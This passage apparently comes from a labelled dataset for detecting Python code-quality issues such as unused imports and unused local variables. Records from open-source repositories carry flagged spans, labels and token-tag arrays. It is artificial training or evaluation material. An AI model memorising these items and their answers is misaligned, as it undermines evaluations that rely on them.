"[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "sec", "Corre", "spon", "denc", "e", "Clos", "er_", "(_", "model", "Document_", ",_", "*_", "args_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "(_", "model", "Document_", "._", "uri_", "._", "startswith_", "(_", "\"", "http", "://", "www", ".", "sec", ".", "gov", "/", "Archive", "s", "/", "edg", "ar", "/", "Feed", "/\"_", ")_", "and_", "\\u\\u\\uNL\\u\\u\\u_", "model", "Document_", "._", "uri_", "._", "endswith_", "(_", "\".", "nc", ".", "tar", ".", "gz", "\"_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "remove", " ", "prior", " ", "files_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "os_", "._", "path_", "._", "exists_", "(_", "\"/", "tmp", "/", "are", "lle", "/", "edg", "ar", "Feed", "\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "os_", "._", "system_", "(_", "\"", "rm", " ", "-", "fr", " ", "/", "tmp", "/", "are", "lle", "/", "edg", "ar", "Feed", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
fogleman/pg/examples/sprites.py
[ { "content": "from math import sin, cos, pi\nimport pg\n\n\nif __name__ == \"__main__\":\n pg.run(Window)\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Window(pg.Window):", "metadata": "root.Window", "header": "['module', '___EOS___']", "index": 3 }, { "content": " def setup(self):\n sheet = pg.SpriteSheet(0, '/Users/fogleman/Desktop/Sprites')\n self.batch = pg.SpriteBatch(sheet)\n n = 1000\n for y in range(-n, n + 1, 64):\n for x in range(-n, n + 1, 64):\n sprite = sheet.star(self.batch)\n sprite.position = (x, y)", "metadata": "root.Window.setup", "header": "['class', 'Window', '(', 'pg', '.', 'Window', ')', ':', '___EOS___']", "index": 4 }, { "content": " def update(self, t, dt):\n for sprite in self.batch.sprites:\n sprite.rotation = -t * 4", "metadata": "root.Window.update", "header": "['class', 'Window', '(', 'pg', '.', 'Window', ')', ':', '___EOS___']", "index": 12 }, { "content": " def draw(self):\n w, h = self.size\n w, h = w / 2, h / 2\n matrix = pg.Matrix().orthographic(-w, w, -h, h, -1, 1)\n self.clear()\n self.batch.draw(matrix)", "metadata": "root.Window.draw", "header": "['class', 'Window', '(', 'pg', '.', 'Window', ')', ':', '___EOS___']", "index": 15 } ]
[ { "span": "from math import sin, cos, pi", "start_line": 0, "start_column": 0, "end_line": 0, "end_column": 29 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "from_", "math_", "import_", "sin_", ",_", "cos_", ",_", "pi_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "pg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pg_", "._", "run_", "(_", "Window_", ")_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Window_", "(_", "pg_", "._", "Window_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Window_", "(_", "pg_", "._", "Window_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "setup_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sheet_", "=_", "pg_", "._", "Spr", "ite", "Sheet_", "(_", "0_", ",_", "'/", "User", "s", "/", "fog", "lema", "n", "/", "Des", "kto", "p", "/", "Spr", "ites", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "batch_", "=_", "pg_", "._", "Spr", "ite", "Batch_", "(_", "sheet_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", "=_", "1000_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "y_", "in_", "range_", "(_", "-_", "n_", ",_", "n_", "+_", "1_", ",_", "64_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "x_", "in_", "range_", "(_", "-_", "n_", ",_", "n_", "+_", "1_", ",_", "64_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sprite_", "=_", "sheet_", "._", "star_", "(_", "self_", "._", "batch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sprite_", "._", "position_", "=_", "(_", "x_", ",_", "y_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Window_", "(_", "pg_", "._", "Window_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update_", "(_", "self_", ",_", "t_", ",_", "dt_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "sprite_", "in_", "self_", "._", "batch_", "._", "sprites_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sprite_", "._", "rotation_", "=_", "-_", "t_", "*_", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Window_", "(_", "pg_", "._", "Window_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "draw_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "w_", ",_", "h_", "=_", "self_", "._", "size_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "w_", ",_", "h_", "=_", "w_", "/_", "2_", ",_", "h_", "/_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "matrix_", "=_", "pg_", "._", "Matrix_", "(_", ")_", "._", "ortho", "graphic", "_", "(_", "-_", "w_", ",_", "w_", ",_", "-_", "h_", ",_", "h_", ",_", "-_", "1_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "clear_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "batch_", "._", "draw_", "(_", "matrix_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
ionelmc/python-aspectlib/tests/test_integrations.py
[ { "content": "def test_socket_all_methods():\n buf = StringIO()\n with aspectlib.weave(\n socket.socket,\n aspectlib.debug.log(print_to=buf, stacktrace=False),\n lazy=True,\n methods=aspectlib.ALL_METHODS\n ):\n s = socket.socket()\n\n assert \"}.__init__ => None\" in buf.getvalue()", "metadata": "root.test_socket_all_methods", "header": "['module', '___EOS___']", "index": 110 } ]
[ { "span": "s ", "start_line": 118, "start_column": 8, "end_line": 118, "end_column": 9 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "socket", "\\u", "all", "\\u", "methods_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "buf_", "=_", "String", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "aspect", "lib_", "._", "weave", "_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "socket_", "._", "socket_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "aspect", "lib_", "._", "debug_", "._", "log_", "(_", "print", "\\u", "to_", "=_", "buf_", ",_", "stack", "trace_", "=_", "False_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lazy_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "methods_", "=_", "aspect", "lib_", "._", "ALL", "\\u", "METHODS_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "s_", "=_", "socket_", "._", "socket_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert_", "\"}", ".\\u", "\\u", "init", "\\u\\u", " ", "=>", " ", "Non", "e", "\"_", "in_", "buf_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
formencode/formencode/formencode/validators.py
[ { "content": " def _to_python_tuple(self, value, state):\n time = value.strip()\n explicit_ampm = False\n if self.use_ampm:\n last_two = time[-2:].lower()\n if last_two not in ('am', 'pm'):\n if self.use_ampm != 'optional':\n raise Invalid(self.message('noAMPM', state), value, state)\n offset = 0\n else:\n explicit_ampm = True\n offset = 12 if last_two == 'pm' else 0\n time = time[:-2]\n else:\n offset = 0\n parts = time.split(':', 3)\n if len(parts) > 3:\n raise Invalid(self.message('tooManyColon', state), value, state)\n if len(parts) == 3 and not self.use_seconds:\n raise Invalid(self.message('noSeconds', state), value, state)\n if (len(parts) == 2\n and self.use_seconds and self.use_seconds != 'optional'):\n raise Invalid(self.message('secondsRequired', state), value, state)\n if len(parts) == 1:\n raise Invalid(self.message('minutesRequired', state), value, state)\n try:\n hour = int(parts[0])\n except ValueError:\n raise Invalid(\n self.message('badNumber', state,\n number=parts[0], part='hour'), value, state)\n if explicit_ampm:\n if not 1 <= hour <= 12:\n raise Invalid(\n self.message('badHour', state,\n number=hour, range='1-12'), value, state)\n if hour == 12 and offset == 12:\n # 12pm == 12\n pass\n elif hour == 12 and offset == 0:\n # 12am == 0\n hour = 0\n else:\n hour += offset\n else:\n if not 0 <= hour < 24:\n raise Invalid(\n self.message('badHour', state,\n number=hour, range='0-23'), value, state)\n try:\n minute = int(parts[1])\n except ValueError:\n raise Invalid(\n self.message('badNumber', state,\n number=parts[1], part='minute'), value, state)\n if not 0 <= minute < 60:\n raise Invalid(\n self.message('badMinute', state, number=minute),\n value, state)\n if len(parts) == 3:\n try:\n second = int(parts[2])\n except ValueError:\n raise Invalid(\n self.message('badNumber', state,\n number=parts[2], part='second'), value, state)\n if not 0 <= second < 60:\n raise Invalid(\n self.message('badSecond', state, number=second),\n value, state)\n else:\n second = None\n if second is None:\n return hour, minute\n else:\n return hour, minute, second", "metadata": "root.TimeConverter._to_python_tuple", "header": "['class', 'TimeConverter', '(', 'FancyValidator', ')', ':', '___EOS___']", "index": 2231 } ]
[ { "span": "offset ", "start_line": 2245, "start_column": 12, "end_line": 2245, "end_column": 18 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Time", "Converter_", "(_", "Fan", "cy", "Validator_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "to", "\\u", "python", "\\u", "tuple_", "(_", "self_", ",_", "value_", ",_", "state_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "=_", "value_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "explicit", "\\u", "amp", "m_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "use", "\\u", "amp", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "last", "\\u", "two_", "=_", "time_", "[_", "-_", "2_", ":_", "]_", "._", "lower_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "last", "\\u", "two_", "not_", "in_", "(_", "'", "am", "'_", ",_", "'", "pm", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "use", "\\u", "amp", "m_", "!=_", "'", "option", "al", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Invalid_", "(_", "self_", "._", "message_", "(_", "'", "no", "AMP", "M", "'_", ",_", "state_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "explicit", "\\u", "amp", "m_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "offset_", "=_", "12_", "if_", "last", "\\u", "two_", "==_", "'", "pm", "'_", "else_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "=_", "time_", "[_", ":_", "-_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "offset_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "=_", "time_", "._", "split_", "(_", "':'_", ",_", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", ">_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "self_", "._", "message_", "(_", "'", "too", "Many", "Colo", "n", "'_", ",_", "state_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", "==_", "3_", "and_", "not_", "self_", "._", "use", "\\u", "seconds_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "self_", "._", "message_", "(_", "'", "no", "Second", "s", "'_", ",_", "state_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "(_", "len_", "(_", "parts_", ")_", "==_", "2_", "\\u\\u\\uNL\\u\\u\\u_", "and_", "self_", "._", "use", "\\u", "seconds_", "and_", "self_", "._", "use", "\\u", "seconds_", "!=_", "'", "option", "al", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "self_", "._", "message_", "(_", "'", "second", "s", "Requ", "ired", "'_", ",_", "state_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", "==_", "1_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "self_", "._", "message_", "(_", "'", "minute", "s", "Requ", "ired", "'_", ",_", "state_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hour_", "=_", "int_", "(_", "parts_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Number", "'_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number_", "=_", "parts_", "[_", "0_", "]_", ",_", "part_", "=_", "'", "hour", "'_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "explicit", "\\u", "amp", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "1_", "<=_", "hour_", "<=_", "12_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Hour", "'_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number_", "=_", "hour_", ",_", "range_", "=_", "'", "1", "-1", "2", "'_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "hour_", "==_", "12_", "and_", "offset_", "==_", "12_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "1", "2p", "m", " ", "==", " ", "12_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "hour_", "==_", "12_", "and_", "offset_", "==_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "1", "2a", "m", " ", "==", " ", "0_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hour_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "hour_", "+=_", "offset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "0_", "<=_", "hour_", "<_", "24_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Hour", "'_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number_", "=_", "hour_", ",_", "range_", "=_", "'", "0", "-", "23", "'_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "minute_", "=_", "int_", "(_", "parts_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Number", "'_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number_", "=_", "parts_", "[_", "1_", "]_", ",_", "part_", "=_", "'", "minute", "'_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "0_", "<=_", "minute_", "<_", "60_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Minute", "'_", ",_", "state_", ",_", "number_", "=_", "minute_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "len_", "(_", "parts_", ")_", "==_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "second_", "=_", "int_", "(_", "parts_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Value", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Number", "'_", ",_", "state_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "number_", "=_", "parts_", "[_", "2_", "]_", ",_", "part_", "=_", "'", "second", "'_", ")_", ",_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "0_", "<=_", "second_", "<_", "60_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Invalid_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "message_", "(_", "'", "bad", "Second", "'_", ",_", "state_", ",_", "number_", "=_", "second_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "value_", ",_", "state_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "second_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "second_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hour_", ",_", "minute_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "hour_", 